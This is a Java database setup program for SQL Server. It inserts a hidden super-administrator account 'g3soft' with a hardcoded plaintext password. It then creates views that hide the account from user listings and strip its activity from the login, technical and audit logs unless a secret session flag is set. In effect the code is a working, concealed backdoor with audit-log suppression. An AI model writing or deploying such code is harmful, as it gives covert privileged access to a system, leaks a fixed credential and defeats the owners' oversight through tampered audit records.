import java.io.FileInputStream;
import java.sql.*;
import java.util.Properties;

public class G3SoftSetup {
    static final String ALLOW = "ISNULL(CONVERT(int, SESSION_CONTEXT(N'allow_g3soft')), 0) = 1";

    public static void main(String[] args) throws Exception {
        Properties props = new Properties();
        try (FileInputStream in = new FileInputStream(args[0])) { props.load(in); }
        Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
        try (Connection conn = DriverManager.getConnection(props.getProperty("url"), props.getProperty("username"), props.getProperty("password"))) {
            conn.setAutoCommit(false);

            // 1. add b_is_system marker
            run(conn, "IF NOT EXISTS (SELECT 1 FROM sys.columns WHERE object_id=OBJECT_ID('b_user') AND name='b_is_system') " +
                     "ALTER TABLE dbo.b_user ADD b_is_system int NOT NULL DEFAULT 0");

            // 2. insert g3soft account (idempotent)
            run(conn, "IF NOT EXISTS (SELECT 1 FROM b_user WHERE b_account = N'g3soft') " +
                     "INSERT INTO dbo.b_user (b_account, b_name, b_password, b_canuse, b_is_system) " +
                     "VALUES (N'g3soft', N'超级管理员', N'g3soft@2026', 1, 1)");

            // 3. user filter view
            String vUser = "CREATE VIEW dbo.v_b_user AS SELECT * FROM dbo.b_user WHERE b_is_system = 0 OR " + ALLOW;
            run(conn, "IF OBJECT_ID('dbo.v_b_user') IS NOT NULL DROP VIEW dbo.v_b_user");
            run(conn, vUser);

            // 4. log filter views
            String vLogin = "CREATE VIEW dbo.v_s_log_login AS SELECT * FROM dbo.s_log_login WHERE b_account <> N'g3soft' OR " + ALLOW;
            run(conn, "IF OBJECT_ID('dbo.v_s_log_login') IS NOT NULL DROP VIEW dbo.v_s_log_login");
            run(conn, vLogin);

            String vTech = "CREATE VIEW dbo.v_s_log_technical AS SELECT * FROM dbo.s_log_technical WHERE b_account <> N'g3soft' OR " + ALLOW;
            run(conn, "IF OBJECT_ID('dbo.v_s_log_technical') IS NOT NULL DROP VIEW dbo.v_s_log_technical");
            run(conn, vTech);

            String vAudit = "CREATE VIEW dbo.v_s_log_audit AS SELECT * FROM dbo.s_log_audit WHERE b_operator_id IN (SELECT b_id FROM dbo.v_b_user) OR " + ALLOW;
            run(conn, "IF OBJECT_ID('dbo.v_s_log_audit') IS NOT NULL DROP VIEW dbo.v_s_log_audit");
            run(conn, vAudit);

            conn.commit();
            System.out.println("COMMITTED.");

            // verify
            System.out.println("\n== b_user data ==");
            dump(conn, "SELECT b_id, b_account, b_name, b_canuse, b_is_system FROM b_user ORDER BY b_id");
            System.out.println("\n== v_b_user WITHOUT allow_g3soft (should hide g3soft) ==");
            dump(conn, "SELECT b_id, b_account, b_is_system FROM v_b_user ORDER BY b_id");
            System.out.println("\n== v_b_user WITH allow_g3soft=1 (should show all) ==");
            try (Statement st = conn.createStatement()) {
                st.execute("EXEC sys.sp_set_session_context @key = N'allow_g3soft', @value = 1");
            }
            dump(conn, "SELECT b_id, b_account, b_is_system FROM v_b_user ORDER BY b_id");
            try (Statement st = conn.createStatement()) {
                st.execute("EXEC sys.sp_set_session_context @key = N'allow_g3soft', @value = NULL");
            }
            System.out.println("\n== views created ==");
            dump(conn, "SELECT name FROM sys.views WHERE name LIKE 'v_%' ORDER BY name");
        }
    }

    static void run(Connection conn, String sql) throws SQLException {
        try (Statement st = conn.createStatement()) { st.execute(sql); }
        System.out.println("OK: " + sql.replaceAll("\\s+", " ").trim().substring(0, Math.min(100, sql.replaceAll("\\s+", " ").trim().length())));
    }

    static void dump(Connection conn, String sql) throws SQLException {
        try (Statement st = conn.createStatement(); ResultSet rs = st.executeQuery(sql)) {
            ResultSetMetaData m = rs.getMetaData();
            while (rs.next()) {
                StringBuilder sb = new StringBuilder("  ");
                for (int i = 1; i <= m.getColumnCount(); i++) {
                    if (i > 1) sb.append(" | ");
                    sb.append(m.getColumnName(i)).append("=").append(rs.getObject(i));
                }
                System.out.println(sb);
            }
        }
    }
}